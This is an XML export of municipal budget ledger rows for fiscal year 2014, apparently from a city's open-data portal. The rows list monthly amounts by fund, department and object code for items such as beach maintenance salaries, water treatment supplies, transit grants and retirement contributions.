<row _id="12046"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8359.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>1875.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10234.0</total></row>
<row _id="12047"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4907.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4907.0</total></row>
<row _id="12048"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>820.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>60</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5160.0</total></row>
<row _id="12049"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1925.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>29</december><january>340.84</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2294.84</total></row>
<row _id="12050"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6750.0</total></row>
<row _id="12051"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28518.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28518.0</total></row>
<row _id="12052"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>544160.0</object><object_description>RIDESHARE PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>96000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>96000.0</total></row>
<row _id="12053"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408550.0</object><object_description>NO NET NEW TRIPS TOOLKIT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-543080</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-543080.0</total></row>
<row _id="12054"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8170.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8170.0</total></row>
<row _id="12055"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>404070.0</object><object_description>BIKE PED TRAINING PILOT SRTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-4896</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4896.0</total></row>
<row _id="12056"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>406930.0</object><object_description>FED-TRAFFIC SIGNAL GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-153955</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-153955.0</total></row>
<row _id="12057"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>770640.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>12822</december><january>152545.48</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>936007.48</total></row>
<row _id="12058"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>137072.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>137072.0</total></row>
<row _id="12059"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>255.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>255.0</total></row>
<row _id="12060"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>32000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32000.0</total></row>
<row _id="12061"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>161593.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>161593.0</total></row>
<row _id="12062"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="12063"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>726.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>726.0</total></row>
<row _id="12064"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4463.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4463.0</total></row>
<row _id="12065"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>326694.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>326694.0</total></row>
<row _id="12066"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5214.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>708.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5922.0</total></row>
<row _id="12067"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>72913.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>6015</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>78928.0</total></row>
<row _id="12068"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-68664.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-68664.0</total></row>
<row _id="12069"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29794.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-16631.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13162.33</total></row>
<row _id="12070"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>254617.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>4166.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>258783.67</total></row>
<row _id="12071"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>448827.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>448827.0</total></row>
<row _id="12072"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6602.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6602.0</total></row>
<row _id="12073"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1838.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>141</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1979.0</total></row>
<row _id="12074"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3447.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3447.0</total></row>
<row _id="12075"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1532.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1532.0</total></row>
<row _id="12076"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2755304.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>8520.93</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2763824.93</total></row>
<row _id="12077"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13491.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>42.6</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13533.6</total></row>
<row _id="12078"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>21412.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>67.32</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21479.32</total></row>
<row _id="12079"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23467.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23467.0</total></row>
<row _id="12080"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23278.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23278.0</total></row>
<row _id="12081"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409071.0</object><object_description>ROSIE'S GIRLS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-6932.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>6932</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12082"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409072.0</object><object_description>ROSIE'S GIRLS-SUMMER I</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-29038.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>29038</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12083"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>533010.0</object><object_description>PERSONAL PROTECTIVE EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>30253.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30253.0</total></row>
<row _id="12084"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408400.0</object><object_description>LINCOLN BLVD STPL FUNDS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>-471414</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-471414.0</total></row>
<row _id="12085"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>131465.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131465.0</total></row>
<row _id="12086"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>122400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122400.0</total></row>
<row _id="12087"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>328983.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>328983.0</total></row>
<row _id="12088"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400613.0</object><object_description>NEWSRACK PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="12089"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>990.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>990.0</total></row>
<row _id="12090"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403721.0</object><object_description>SERIAL INEBRIATE GRANT LEASING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-335000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>335000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12091"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403720.0</object><object_description>HUD SERIAL INEBRIATE GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-21672.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>21672</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12092"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>1935899.0</june><total>1935899.0</total></row>
<row _id="12093"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>527525.0</june><total>527525.0</total></row>
